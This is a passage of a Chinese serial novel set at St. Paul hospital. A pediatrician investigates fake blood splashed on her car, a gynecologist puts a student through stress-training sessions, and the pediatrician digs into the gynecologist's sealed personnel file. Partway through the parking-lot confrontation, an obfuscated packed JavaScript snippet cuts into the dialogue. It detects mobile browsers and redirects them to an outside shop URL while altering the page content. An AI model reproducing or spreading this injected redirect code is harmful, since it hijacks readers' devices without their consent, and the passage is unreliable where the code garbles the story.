脚步声在走廊里远去。 钟妍妍独自坐在会议室里,夕阳把她影子拉得很长。她拿起徐燕风刚才的心电图纸带,又看了看皮肤电反应记录,在空白A4纸上写下几行字: 对象:徐燕风(医学院预科班) 基线情绪稳定性:较低(易激惹) 应激反应模式:对抗/否认 撒谎识别点:夜店细节(需跟进) 潜在特质:高自尊、报复倾向、学习速度快 初步评估:适合进行压力训练,但需控制强度,防止逆反。 她写完,把纸对折,夹进带来的那本厚重的《妇产科学》里。书页间,隐约能看到其他类似的笔记纸,密密麻麻的字迹。 窗外,夜幕开始降临。圣保罗医院的灯光逐一亮起,那些窗户后面,有多少人在演戏,有多少人在观察,又有多少人像她一样,在训练着新的“蛇”,好让他们在这个蛇窝里活下去? 钟妍妍合上书,拿起白大褂,关灯离开了会议室。 走廊尽头的消防栓玻璃上,映出她离开的背影——笔直、利落,像一把手术刀。 而楼下停车场里,徐燕风正站在自己的摩托车旁,抬头望向顶楼那间刚刚熄灯的窗户。他站了很久,直到手机震动,是何念曦发来的消息: “风哥,明天老地方见!有新玩意。” 他盯着屏幕,又抬头看了一眼顶楼,忽然笑了。 “有意思。”他低声说,跨上摩托车,引擎轰鸣着冲进渐浓的夜色里。 第一课结束了。 但真正的课程,或许才刚刚开始。 这天清晨六点半,圣保罗医院的停车场还笼罩在一层薄薄的晨雾里。 关文晶习惯早到。她喜欢医院这个时间点的安静——夜班医护即将交班,白班人员还没大规模涌入,走廊里只有清洁工的推车声和远处偶尔响起的呼叫铃。这个时刻的医院像一头沉睡的巨兽,呼吸平稳,尚未露出獠牙。 她拎着公文包,穿过通往露天停车场的侧门。晨风带着凉意,吹散了最后一点睡意。她的车位在第三排靠墙的位置,旁边就是一棵枝叶茂盛的凤凰木,夏天会开满红艳艳的花。 走到车前时,关文晶的脚步停住了。 白色车身上,从引擎盖到驾驶座车门,又被泼开了一大片刺眼的猩红色。 不过这回不是油漆——至少不是普通的油漆。那液体质地粘稠,在晨光下泛着一种诡异的暗红色光泽,有些地方已经半干,凝结成块状,边缘晕开的水渍则是淡粉色,在白色车漆上像渗血的伤口。 关文晶站在原地看了三秒钟。 第一秒,确认不是幻觉。 第二秒,评估液体成分——粘稠度类似血液,但颜色过于均匀,更像是人工色素调配的液体。气味……她微微靠近,嗅到一股铁锈般的腥味,混合着某种化学制剂的甜腻。 第三秒,她放下公文包,从白大褂口袋里掏出手机,打开相机,开始拍照。正面、侧面、特写、全景,镜头冷静地记录着每一处细节。拍完后,她没有没有报警而是绕着车走了一圈。 凤凰木的树根处,有几点溅开的红色液体。 地上有半个模糊的脚印——运动鞋底花纹,尺寸大约42-43码,前掌比后跟清晰,说明那人曾在这里短暂停留、用力。 脚印旁,掉了一小截透明塑料管,像是从什么注射器或容器上折断的。 关文晶从包里取出一副一次性手套戴上捡起那截塑料管,对着光看了看。管内壁残留着微量红色液体,管口有被强行掰断的毛刺。她取出一个证物袋,将塑料管装进去,密封,标注时间和地点。 做完这些,她才直起身,环顾四周。 停车场里零星停着几辆车,大多是值夜班医护的。远处有个清洁工在扫地,背对着这边。再远些,医院主楼有几扇窗户亮着灯,像是ICU或产房。 关文晶的目光落在斜对面第四排的一辆黑色摩托车上。 川崎Ninja 400,车身贴了几道荧光绿的拉花——那是徐燕风的车。她记得很清楚因为上周这辆车就停在她旁边,当时她还皱眉想“现在的学生真招摇”。 摩托车座位上有件揉成一团的黑色夹克。 关文晶看了看表:六点三十五分。如果徐燕风要骑车回去高中那里上课,现在差不多该出现了。 她走回自己车旁,靠在驾驶座车门上,双手抱胸,安静地等。 晨雾渐渐散去,天光从灰白转为淡金色。医院开始苏醒,远处传来推车轱辘滚动的声音,几个穿着手术服的人匆匆从侧门走出,应该是刚下夜班。 六点五十分。 侧门被推开,徐燕风走了出来。 他背着双肩包,头发有些乱,像是刚起床随手抓了几下。手里拿着头盔,边走边低头看手机,嘴角带着一丝笑意——直到他抬头看见自己的车,以及站在车旁、靠在她自己那辆被泼红的车边的关文晶。 他脸上的笑容凝固了。 关文晶看着他走近,没有说话,只是用目光示意了一下自己车身上的猩红。 徐燕风在几步外停下,先看了眼自己的摩托车——夹克还在座位上,车看起来没被动过——然后才把视线转向关文晶的车,眉头皱了起来:“这什么情况?” “我以为你会知道。”关文晶的声音很平静,像在讨论一份化验单。 徐燕风嗤笑一声:“关医生,你该不会以为是我干的吧?” “我没说。”关文晶站直身体,“我只是在陈述事实:我的车被泼了不明红色液体。你的车停在附近。你正好在这个时间出现。” “巧合而已。”徐燕风把头盔挂在车把上绕过关文晶走到她那辆车旁弯腰看了看,“哟还挺像血的。谁这么缺德?” “不是血。”关文晶说。 徐燕风直起身:“你怎么知道?” “血暴露在空气中四到六小时后,会从鲜红色转为暗红色,表面开始凝固结痂。”关文晶指着引擎盖上那片液体,“这片泼洒物颜色均匀,没有氧化变色梯度。边缘的水渍晕开是淡粉色——如果是血液,血浆和血细胞分离后会形成更明显的色差。” 她顿了顿,补充道:“而且血液会吸引昆虫。现在温度适宜,如果是真血,这会儿应该有苍蝇了。但你看,什么都没有。” 徐燕风顺着她的手指看过去,确实,那片猩红安静地躺在车漆上,周围连只蚂蚁都没有。 “所以呢?”他耸肩,“不是血,那就是油漆呗。或者番茄酱?恶作剧而已,关医生别太较真。” “也不是普通油漆。”关文晶从车头走到车门处,指着几处半干的凝块,“油漆干燥后会成膜,表面光滑。但这个——”她用戴着手套的指尖轻轻触碰一块边缘(没有真的沾上),“质地粘稠,类似凝胶。我初步判断是人工血浆,影视道具用的那种,主要成分是甲基纤维素、色素和少量甘油,模拟血液的粘稠度和光泽。” 徐燕风看着她,眼神里闪过一丝什么,很快又隐去:“关医生懂得真多。” “我是儿科医生,但也轮转过急诊和外科。”关文晶的目光落在他手上,“你的手怎么了?” 徐燕风下意识地把右手往后缩了一下,但关文晶已经看到了——他右手虎口处有一小块暗红色污渍,已经干了,像是沾到什么液体后随意擦过,但没擦干净。 “这个?”徐燕风举起手,耸耸肩,“昨天做实验,沾了点红墨水。” “红墨水?”关文晶走近一步,但没有触碰他,只是仔细观察,“红墨水含有酸性成分和染料,沾在皮肤上会有些微刺激感,而且很难一次性洗净,通常会渗入皮肤纹理。” 她抬起眼:“能让我看看吗?” 徐燕风犹豫了一瞬,还是伸出了手。 关文晶没有直接碰他,而是从公文包里掏出一个便携式紫外线手电——儿科常用来看皮疹或真菌感染。她打开,紫光照在徐燕风虎口那块污渍上。 污渍在紫外线下没有荧光反应。 “如果是红墨水,染料成分通常会在紫外线下有微弱荧光。”关文晶关掉手电,“你这块污渍没有。而且——”她凑近了些,“边缘有细微的颗粒感,像是凝胶干燥后碎裂的质地。和车身上那种人工血浆的质地很像。” 徐燕风抽回手:“关医生,你是医生,不是侦探。光凭这点就想定我的罪?” “我没想定你的罪。”关文晶收起紫外线手电,“我只是在分析现象。另外——”她走到凤凰木旁指着树根处的溅射点:“泼洒液体时有部分溅到了这里。根据溅射形态和角度,泼洒者的身高大约在175到180厘米之间,右手持容器,站在这个位置。” 她站到那个位置,模拟了一下动作:“如果是你,徐燕风,你身高178,右利手,站在这儿泼,液体应该会以大约45度角溅到引擎盖上,然后顺流而下,形成这种倾泻形态。” 关文晶转头看他:“要试试吗?站过来模拟一下动作,看你的手臂摆动轨迹会不会和溅射点吻合。” 徐燕风没动。他盯着关文晶,嘴角那点故作轻松的笑意终于消失了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937026|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关医生,”他声音沉了下来,“你到底想怎样?” “我想知道真相。”关文晶走回他面前,两人距离不到一米,“如果是你做的,为什么?因为网球的事?因为尹教官训了你?还是因为别的什么?” “我说了不是我。”徐燕风咬牙。 “那你能解释手上的污渍吗?” “我说了是红墨水!” “那你敢不敢现在去检验科,做个简单成分测试?”关文晶盯着他的眼睛,“如果是红墨水,主要成分是酸性染料和水分,用棉签取样后滴pH试纸会显酸性,显微镜下能看到染料晶体。如果是人工血浆,成分是甲基纤维素和色素遇碘液会变蓝因为甲基纤维素是多糖类。” 她顿了顿:“十分钟就能出结果。你敢去吗?” 停车场里安静了几秒。远处有辆救护车开进来,鸣笛声由远及近,又渐渐远去。 徐燕风看着关文晶,忽然笑了——不是之前那种轻浮的笑,而是一种带着冷意的、近乎嘲弄的笑。 “关医生,你真厉害。”他说,“分析得头头是道,像个真正的侦探。但你知道吗?有时候太聪明,太较真,会活得很累。” “所以你是承认了?” “我什么都没承认。”徐燕风转身,走向自己的摩托车,“我只是说,你愿意怎么想就怎么想吧。反正我没做,你也没证据——除非你能证明那污渍就是车上的东西,而不是什么红墨水。” 他跨上摩托车,戴上头盔,引擎轰鸣起来。 关文晶站在原地,看着他在晨光中驶出停车场,拐上街道,消失在车流里。 她低头看了看自己车身上那片猩红,又看了看手里的证物袋——那截塑料管,管口毛刺在阳光下很清晰。 然后她拿出手机,拨了个号。 “网安部吗?我是儿科关文晶。我的车在露天停车场被泼了不明液体……需要调取监控。对,第三排,靠近凤凰木的位置。时间范围大概是昨晚十点到今早六点。” 挂断电话后,她没有立刻处理车,而是从公文包里拿出笔记本,快速写了几行字: 时间:周三晨6:30 事件:车被泼人工血浆类液体 嫌疑人:徐燕风(高度可能) 疑点:1.右手污渍质地吻合2.身高位置吻合3.动机存在(报复) 缺环:直接证据、监控、容器 备注:对方表现出对抗情绪,但无恐慌,似有准备。 写完,她合上本子,走到凤凰木旁,再次蹲下观察那些溅射点。 这次,她在树根背光处的泥土里,发现了一点反光。 用镊子轻轻拨开浮土,一枚金属纽扣露了出来——很普通的衬衫纽扣,白色,四孔,边缘有磨损。纽扣背面沾着一点干涸的红色凝胶。 关文晶将纽扣也装入证物袋。 站起身时,她忽然想起什么,抬头看向医院主楼。 十五楼,妇科方向。 昨天下午她路过护士站时,听到几个小护士在议论说钟妍妍医生最近在给那个“调皮学生”上什么特别课,还借用了顶楼会议室。 当时她没在意。但现在…… 关文晶收回视线,拿出手机,给清洁部门打电话请求清洗车辆。等待的时候,她靠在车旁,看着晨光完全照亮停车场。 泼人工血浆,而不是油漆。 留下塑料管和纽扣——太过明显的“证据”。 还有徐燕风最后那个笑容,那句“太聪明会活得很累”…… 关文晶眯起眼。 这不像是单纯的报复。 更像是一场……测试? --- 十五楼,妇科医生办公室。 钟妍妍站在窗前,手里端着刚泡好的咖啡。从这个角度,她能清楚地看到楼下停车场里那个小小的白色身影——关文晶正靠在车旁打电话。 她看着关文晶蹲下、取证、起身,一系列动作冷静而专业。 然后她抬起手腕,看了看表:七点十分。 徐燕风应该回高中了吧。钟妍妍抿了口咖啡,嘴角勾起一个极淡的弧度,心想自己的第一课是情绪觉察。第二课,她本来打算教愤怒的替代性表达。 但现在看来,她的学生已经迫不及待地开始实践了——用一场拙劣但有效的挑衅,来测试他的“对手”的反应。 “不够隐蔽。”钟妍妍轻声自语,“留下太多痕迹。塑料管、纽扣……太刻意了。” 但关文晶会怎么解读呢? 把她当成冲动报复的学生?还是察觉到更深层的意图? 钟妍妍放下咖啡杯,走到办公桌旁,翻开那本《妇产科学》,抽出里面夹着的笔记纸。在徐燕风的那页评估记录下,她加了一行字: 第8日观察:自主设计并执行挑衅测试,目标为关文晶。手法粗糙但有效引发对峙。在对方医学推理面前保持镇定,未露破绽。学习进度超出预期。写完,她忽然想起很多年前,自己接受类似训练时的场景。那时她的教官说过一句话—— 9. 强度抗压训练 “蛇在蜕皮前会变得暴躁,攻击性增强那不是因为它想伤人,而是因为它正在挣脱旧壳,长出新牙。” 钟妍妍合上书。 新牙已经初露锋芒。 只是不知道,这条刚刚开始蜕变的“眼镜蛇”,最终会咬向谁。 她转身看向窗外。楼下,关文晶的车已经被清洗工人围着,高压水枪喷出水雾,那片猩红渐渐褪去,露出原本的白色。 但有些痕迹,是水冲不掉的。 就像有些人,一旦对上眼,就再也回不到互不相干的状态。蛇窝里的又一对天敌,就此锁定了彼此。 而游戏,才刚刚开始。 这天周五下午四点,顶楼会议室的门被推开时,徐燕风愣了一下。 会议室变了。 原本相对摆放的两把扶手椅不见了,取而代之的是一张医院常见的那种移动病床,铺着浆洗得发硬的白色床单。病床周围立着几台监护仪——心电、血压、血氧,屏幕都是暗的但电极片和袖带已经接好,垂在床边像等待猎物的触手。 墙角的小推车上,白布换成了无菌手术巾,下面盖着的器械轮廓更加清晰:有金属托盘的反光,有长柄器械的棱角。 最引人注目的是墙上的白板。昨天那些医学影像片子被撤下了,现在贴着的是一张手绘的流程图,标题用红色马克笔写着:“院前急救——多发伤合并休克处置流程”字迹工整,每个步骤都有编号和箭头从“现场评估”到“气道管理”,再到“循环支持”“止血包扎”,最后是“转运决策”。流程图旁还贴了几张彩色打印的照片——车祸现场、建筑坍塌、工业事故,画面逼真,有些能看到血污和扭曲的肢体。 徐燕风站在门口,书包滑到臂弯:“钟医生,这是……?” “第二课。”钟妍妍的声音从病床另一边传来。她今天没穿白大褂,而是换上了一套深蓝色的刷手服,胸前绣着圣保罗医院的徽标,头发全部塞进手术帽里,脸上还戴着口罩,只露出一双眼睛。 那双眼睛和平日里在妇科门诊时的温和不同,此刻锐利得像手术刀。 “把门关上。”钟妍妍说,“书包放门口,过来躺下。” “躺下?”徐燕风皱眉,“我以为今天是情绪管理第二课。” “是第二课,内容更新了。”钟妍妍走到监护仪旁,开始开机自检,“基于你昨天的‘课外实践’,我认为你需要更直接的训练。所以今天,我们模拟医疗应急场景。” 徐燕风关上门,把书包扔在墙边,但还是站着没动:“什么场景?” “你躺下就知道了。”钟妍妍调试着血压计,声音透过口罩有些发闷,“或者你可以选择退出。门在那边。” 两人对视了几秒。 徐燕风扯了扯嘴角,最终还是走到病床边,脱掉鞋,躺了上去。床单冰凉,带着消毒水的味道,枕头又硬又薄,他得微微仰头才能平视天花板——上面有几道陈旧的水渍,形状像地图上的河流。 钟妍妍没说话,开始给他连接监护设备。电极片贴在胸口、两侧肋骨下缘,血压袖带绑在左臂,血氧探头夹在食指。她的动作比上周更熟练,指尖依然微凉,但这次每个接触点都带着明确的指令感:躺好,别动,配合。 “开始前,我需要你签这个。”钟妍妍从推车上拿起一张纸,递给他。 徐燕风接过来看: 《高强度医学模拟训练知情同意书》 训练内容可能包括:模拟急救场景、突发状况处置、心理压力测试、多任务处理等。参与者可能经历心率加快、血压升高、呼吸急促、焦虑紧张等生理心理反应。训练全程有医疗监护,但参与者需自行承担相关风险。 我已阅读并理解上述内容,自愿参与训练,并同意遵守指导医生的指令。 下面有签名栏和日期。 徐燕风抬眼看向钟妍妍:“这是正规程序?” “在我的课里,是。”钟妍妍递给他一支笔,“你可以选择不签,课程到此为止。” 徐燕风盯着那张纸看了几秒,笔尖悬在签名栏上方。窗外的天色有些阴,云层压得很低,像是要下雨。远处传来救护车的鸣笛声,由远及近,最后停在了医院急诊入口——应该是真实的救护车,不是模拟的。 他签了名。 钟妍妍收走同意书,放回推车,然后走到门边,关掉了顶灯。 会议室陷入半昏暗。只有监护仪的屏幕发着幽绿的光,心电波形平稳地滚动,发出规律的“滴滴”声。 “训练开始。”钟妍妍的声音在昏暗里响起,平静得没有波澜,“你现在的身份:医学院预科班学生徐燕风,正在圣保罗医院急诊科见习。时间:晚上九点三十分。地点:急诊抢救室。” 她按下某个开关。 会议室角落的一台投影仪亮起,在白墙上投出影像——是急诊抢救室的第一视角画面,晃动、急促,能听到嘈杂的背景音:监护仪警报、医护喊话、病人的呻吟。 “情景一。”钟妍妍退到暗处,声音通过麦克风放大,带着冷静的指令感,“一名车祸多发伤患者被送入抢救室。男性,35岁,意识模糊,呼吸急促,血压80/50mmHg,心率130次/分。你作为见习生被要求协助处理。现在——” 她突然提高音量:“患者突发室颤!监护仪报警!” 几乎同时,徐燕风身边的监护仪发出刺耳的警报声——不是他身上的这台,而是病床另一侧那台模拟机。屏幕上的心电波形从窦性心动过速瞬间变成紊乱的颤动波,红色的“VF”标志闪烁。 “准备除颤!”钟妍妍的声音命令道,“充电200焦耳!” 徐燕风躺在病床上,能感觉到自己的心跳开始加快。他深吸一口气,强迫自己看向那台模拟监护仪——只是模拟,不是真的病人。但警报声、闪烁的红光、墙上晃动的急诊画面,还有钟妍妍那种不容置疑的语调,构成了一个逼真的压力场。 “充电完毕!”钟妍妍模拟着护士的汇报。 “所有人离开床旁!”钟妍妍自己喊出指令,然后转向徐燕风,“见习生,现在由你执行除颤。操作步骤?” 徐燕风脑子飞快转动。医学院预科班刚学过基础生命支持,但那是理论课,没有实操过除颤仪。他回忆着教材上的内容: “确认无接触……涂导电膏……电极板位置……” “太慢!”钟妍妍打断他,“患者已经室颤30秒,每延迟一分钟除颤,存活率下降7%-10%。现在!立刻说出正确电极板位置!” 徐燕风咬牙:“胸骨右缘第二肋间,左腋中线第五肋间。” “正确。执行。” 钟妍妍话音刚落,模拟监护仪的警报声停止,屏幕上的波形恢复窦性心律——但只维持了三秒,又变成一条直线。 “无脉电活动!开始胸外按压!”钟妍妍的声音像是掐着秒表,“你负责按压,深度5-6厘米,频率100-120次/分。开始计数!” 徐燕风从病床上坐起,但没下床——钟妍妍示意他就在床上模拟。他双手交叠,悬在模拟患者的胸骨上方(实际上是对着空气),开始下压动作。 “一、二、三、四……用力不够!我要看到胸廓回弹!” “十五、十六、十七……停!检查脉搏!” 徐燕风停下动作,模拟触摸颈动脉。墙上的投影画面切换到颈动脉触诊特写。 “无脉搏!继续按压!”钟妍妍的声音像鞭子,“同时汇报:按压进行到第几分钟?患者目前生命体征?” 徐燕风继续按压动作,呼吸开始急促:“第……第一分钟三十秒。患者仍无自主呼吸,无脉搏,监护显示无脉电活动。” “用药组准备肾上腺素1mg静脉推注!”钟妍妍模拟着指挥抢救,“按压不要停!你,见习生,现在有家属冲进抢救室,要求了解情况。你如何应对?” 投影画面切换:一个中年妇女哭喊着冲进抢救室的镜头。 徐燕风手上的按压动作没停,脑子飞快转:“我……我现在正在抢救,无法离开。应该由其他医护向家属解释……” “现场只有你和一个护士!护士在准备药物!”钟妍妍的声音逼近,“家属抓住你的手臂问‘我丈夫会不会死’,你怎么回答?” “我……”徐燕风额头开始冒汗,他能感觉到自己的心率在上升——这次是真的,他身上的监护仪显示心率从75跳到了98,“我会说……我们正在全力抢救,请先到外面等候,有消息会立刻通知。” “家属情绪激动,不肯离开,干扰抢救。你怎么处理?” “请保安协助……” “护工需要三分钟才能到!现在!立刻!给出解决方案!” 徐燕风停住了按压动作。他坐在病床上,喘着气,看着昏暗中的钟妍妍。那双眼睛在口罩上方,冷静得近乎冷酷。 他忽然意识到,这不是单纯的医学模拟。 这是一场压力测试。而且才刚刚开始。 “我会……”徐燕风舔了舔发干的嘴唇,“我会用最严厉的语气命令家属立刻离开抢救区域,强调她每耽误一秒,她丈夫的存活机会就降低一分。同时,我会让护士大声报时——‘抢救第2分钟!’‘肾上腺素已给!’——用抢救流程的声音盖过家属的哭闹,制造紧迫感,迫使她因压力而退后。” 说完,他等着钟妍妍的批评。 但钟妍妍沉默了两秒。 监护仪的“滴滴”声在昏暗里格外清晰。墙上的投影画面暂停在抢救室混乱的场景上。 “继续按压。”钟妍妍的声音恢复了平静,“抢救第三分钟。” 徐燕风重新开始动作。这次,他注意到自己的心跳逐渐平稳下来——不是不紧张而是某种奇怪的转换:当他把注意力完全集中在“解决问题”而不是“应对压力”上时,那种慌乱感反而减弱了。 “情 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“是。”钟妍妍摘掉口罩,走到小推车旁,掀开无菌巾。 下面不是手术器械,而是一个平板电脑、一套无线耳机,还有几个形状奇怪的传感器。 “但不止是医学。”她拿起一个传感器,示意徐燕风伸出手腕,给他戴上——那是一个心率变异性(HRV)监测仪,能分析压力状态下的自主神经系统平衡。 “情绪管理和压力应对,本质上是神经系统的训练。”钟妍妍开机,平板上显示出实时数据,“在高压力下,交感神经兴奋——心跳加快、血压升高、肌肉紧绷,这是‘战或逃’反应。但过度或过久的兴奋会导致决策能力下降甚至崩溃。而训练的目的,是让你在保持必要唤起的同时,激活副交感神经——那是‘休息与消化’系统,能帮助冷静、恢复、理性思考。” 她调出刚才的数据:“看,你初期交感神经活性激增,但中期开始出现副交感调节的迹象。虽然微弱,但存在。” 徐燕风看着那些曲线和数据忽然问:“钟医生,您是不是……经常做这种训练?” 钟妍妍的手顿了顿。 “我受过相关培训。”她答得简单,关上平板,“现在休息五分钟。然后进入情景二。” “还有?”徐燕风苦笑。 “这才哪到哪。”钟妍妍走到窗边,推开一扇窗。潮湿的风灌进来,带着雨前的气息。远处的城市开始亮起灯火,像一片倒悬的星河。 “真正的压力不是模拟抢救。”她背对着徐燕风,声音很轻,“而是当你明知道是模拟,身体却依然相信那是真的。当你的理性告诉你‘这只是在训练’,但你的心跳、你的汗腺、你的每一块肌肉都在尖叫‘危险’。” 她转过身,眼神里有种徐燕风看不懂的东西:“那种时候,你能多大程度上掌控自己决定了你能走多远。” 徐燕风靠在病床头,手腕上的监测仪还在闪烁。他抬起手,看着那个小小的屏幕,上面显示着他的实时心率:72,已经回落到基线水平。 只用了五分钟。 他想起上周在停车场,关文晶用医学知识一步步拆穿他时,那种混合着愤怒和紧绷的感觉——当时的心跳肯定比现在快得多。 如果那时,他能像刚才模拟抢救后期那样,快速冷静下来呢? 如果他能不被情绪牵着走,而是像分析病例一样分析局势呢? “钟医生,”徐燕风开口,“下周的课……” “下周我们继续。”钟妍妍打断他,从推车上拿起那个平板电脑,调出新的文件,“但在此之前,你有课后作业。” “作业?” “记录。”钟妍妍递给他一个普通的笔记本,“从今天起,每天记录三件触发你情绪波动的事件——无论大小。记录内容:事件本身、你的第一反应、生理感受(心跳、呼吸、肌肉紧张等)、你实际采取的行为,以及事后评估这个行为是否有效。” 她看着徐燕风:“持续记录,下周带来。我要看你的自我觉察进展。” 徐燕风接过笔记本,翻开第一页,空白。 “最后一个问题。”他说,“这种训练,最终目的是什么?让我成为一个镇定的医生?” 钟妍妍正在收拾设备,闻言抬头。 窗外的第一滴雨敲在玻璃上,然后第二滴,第三滴,很快连成一片雨幕。 “目的是让你活着。”她说,声音几乎被雨声淹没,“在这个地方,情绪失控会害死自己,也会害死别人。而我要教的,是怎么在毒窝里,长出一副不被毒死的抗体。” 她关掉最后一台监护仪,屏幕暗下去。 会议室里只剩下雨声,和两个各怀心事的人。 徐燕风低头看着手腕上的监测仪,屏幕上的数字又跳了一下:71。 平稳,有力,像一条蛰伏的蛇。 等待下一次被唤醒。 10. 锯鳞蝰的警惕 雨下了整整一夜,到周六清晨才渐渐停歇。 关文晶站在住院部的落地窗前,手里端着一杯早已凉透的咖啡。窗外,圣保罗医院的后院笼罩在一片湿漉漉的晨雾里,那棵凤凰木的叶子被雨水洗得发亮,树下她停车的位置空着——车还在清洗厂,要下午才能取回。 她的目光没有落在院子里,而是投向了更远处那栋医学院的教学楼。…… 准确地说,是顶楼那排窗户。 上周四下午四点十分,她路过主楼大厅时无意间抬头看了一眼电梯楼层显示。其中一部电梯正从一楼升向顶楼,停在“R”层—— 屋顶层。那个楼层只有几间闲置的会议室和设备间平时很少有人上去。 电梯里只有一个人:钟妍妍。 关文晶当时没太在意。但二十分钟后,她又在走廊里撞见了徐燕风。那小子刚从楼梯间出来,额头有汗,呼吸微促,像是刚爬完楼。他看见她时愣了一下,随即扯出一个敷衍的笑侧身快步走过。 两人擦肩而过的瞬间,关文晶闻到了他身上淡淡的消毒水味——不是医院公共区域那种普通的消毒水,而是手术室刷手区常用的含氯己定成分的洗手液。 顶楼。钟妍妍。徐燕风。消毒水。 这几个碎片在关文晶脑中拼接,形成了一条隐约的线。 她抿了口凉咖啡,苦涩在舌尖蔓延。转身回到办公桌前,电脑屏幕还亮着,上面是医院内部的人事档案查询系统。 她输入“钟妍妍”,回车。 页面跳转,显示基本信息: 钟妍妍,妇科主治医师 入职日期:10年8个月前 学历:瑆洲大学医学院临床医学博士 专长:妇科肿瘤、微创手术 工作表现评估:优秀 再往下,本该有的详细档案——实习医院记录、培训经历、论文发表、获奖情况——全部标注着“权限不足,无法查看”。 关文晶皱起眉。 她作为儿科主治医师,拥有医院内部人事系统的二级访问权限,可以查看绝大多数医护的基本档案。只有少数几种情况会被加密:涉及重大医疗事故正在调查、涉及法律诉讼、或者…… 涉及军方或特殊部门。 她调出自己的权限信息,确认没有被降级。又尝试查询其他几位与钟妍妍同期入职的医生,都能看到完整档案。 只有钟妍妍的锁住了。 关文晶靠在椅背上,手指无意识地敲着桌面。窗外传来早班交接的广播声,护士推着药车从走廊经过, 轮子碾过地砖发出规律的声响。一切如常,但在圣保罗这个“蛇窝”里,如常往往是最精巧的伪装。 她关掉人事系统打开病历管理系统。输入钟妍妍的工号,搜索她经手的所有患者记录。 系统显示:过去十年八个月,钟妍妍共接诊21470例门诊患者,完成手术1992台。这个工作量在妇科属于中等偏上,符合主治医师的正常范畴。 但关文晶注意到一个细节:钟妍妍的手术排期很有规律。每周三下午固定没有手术,每周五上午的手术总是安排在最早的一台,而且从不接急诊手术——这在以突发状况多著称的妇科,显得有些刻意。 她调出上周五的手术排班表。钟妍妍当天上午7:30有一台腹腔镜子宫肌瘤剔除术,预计时长两小时。但麻醉记录显示,患者实际麻醉时间是7:25到10:05,比排期长了五十分钟。 那五十分钟,钟妍妍在哪里? 关文晶又查了手术室的监控日志——她的权限可以查看公共区域监控的元数据,但不能直接调取视频。日志显示:上周五上午8:40,手术室3号间的门被打开一次,持续两分钟。那个时间点,手术应该正在进行中。 主刀医生在手术中途离开手术室? 除非有紧急情况。 但那天妇科没有紧急呼叫记录,钟妍妍的个人通讯记录(医院内部通话)也没有异常。 关文晶眯起眼。 她想起上周五下午,自己在停车场取证时抬头看向十五楼的那个瞬间。当时钟妍妍办公室的窗户后,似乎有个人影。 现在回想,那可能不是错觉。 如果钟妍妍在观察呢? 如果徐燕风泼油漆(或者说,泼人工血浆)的那场闹剧,从头到尾都在某个人的注视之下呢? 关文晶关掉电脑,拿起挂在门后的白大褂。走到门口时,她停顿了一下,转身从抽屉里取出一个老式翻盖手机——不是她日常用的智能机,而是一部只能打电话发短信的备用机。 她拨了一个没有储存的号码。 响了四声后,接通。那边没有说话,只有轻微的呼吸声。 “是我。”关文晶低声说,“查个人。钟妍妍,圣保罗医院妇科医生。我要她三年内的行踪轨迹,重点是每周三下午和周五上午。” 那边沉默了几秒,传来一个压低的女声:“权限级别?” “我的二级权限被锁,至少是三级加密。” “三级加密通常是军方或情报部门关联人员。”女声说,“你确定要查?可能会触发反向监控。” “确定。”关文晶看着窗外,雨又开始下了,细密的雨丝斜打在玻璃上,“我感觉她在我附近织网。我想知道,那张网是冲着谁来的。” “三天。”女声说完,挂断。 关文晶合上手机,放进白大褂内袋。推开办公室门时,她脸上的表情已经恢复成平日的冷静专业,仿佛刚才那通电话从未发生过。 走廊里几个实习医生正围着一个移动病历车讨论病例。看见关文晶,纷纷打招呼:“关医生早。” 关文晶点头回应,脚步不停。走到护士站时,值班护士叫住她:“关医生,刚刚网安部来电话,说停车场监控调取需要您补个申请单再要签字。” “监控有拍到什么吗?”关文晶接过申请单。 “网安部没说具体内容,只说要您亲自去一趟监控室。” 关文晶眼神微动:“好,我上午查完房就去。” 她转身往儿科病房走,脑子里却在快速分析:停车场监控按理说可以直接调取给受害员工,为什么要补手续?还要签字?这种反常的程序,通常意味着监控内容涉及“敏感信息”需要自己背书。 或者说,监控拍到了“不该拍到”的东西。 查完房已经是上午十点。关文晶拿着签好字的申请单,乘电梯下到地下一层的行政办公区。监控室在走廊尽头,门是指纹锁加门禁卡双重验证。 她刷了工卡,按了指纹,门“嘀”一声打开。 里面比想象中小,三面墙都是监控屏幕显示着医院各处的实时画面:急诊入口、门诊大厅、手术室通道、住院部走廊……几十个画面同时跳动,像一只巨大的复眼。 值班的是个中年网络技术员看见关文晶进来,站起身:“关医生?” “我来调取停车场监控。”关文晶递上申请单,“周三晚上十点到周四早上六点,第三排靠近凤凰木的区域。” 技术员接过单子看了看,表情有些为难:“这个……关医生,这段监控可能需要处理一下才能给您。” “处理?” “就是……画面有些干扰,看不清楚。”技术员避开她的目光, 操作控制台调出一段录像,“您自己看吧。” 主屏幕上弹出停车场夜视画面。时间是周三晚上22:17,第三排车位空着几辆,关文晶的白车静静停在那里。画面是黑白的,但夜视模式下清晰度尚可,能看清车牌。 22:23,一个身影进入画面。 穿着深色连帽衫,帽子拉得很低,看不清脸。身高体态确实像徐燕风。那人手里提着一个桶状容器,走到白车旁,左右张望。 然后,画面突然开始闪烁。 不是信号中断那种黑屏,而是有规律的频闪——亮0.5秒,暗0.5秒,持续了大约十秒。等画面稳定下来时,那人已经完成了泼洒动作,正在转身离开。车身上已经是一片猩红。 但关键点在于:闪烁的十秒,正好覆盖了泼洒的瞬间。而且闪烁结束后,画面亮度明显变暗,细节丢失严重,连那人手里容器具体形状都看不清了。 “这个闪烁,”关文晶盯着屏幕,“是设备故障?” “说是强电磁干扰。”技术员说,“可能是附近有大型设备启动,或者……无人机之类的。” “无人机晚上在医院上空飞?” “这个……”技术员支吾,“我们也不确定。” 关文晶没再追问。她要求技术员回放了好几遍那段闪烁前后的画面用手机录了下来。临走前,她看似随意地问了一句:“这段监控除了我还有谁调取过?” 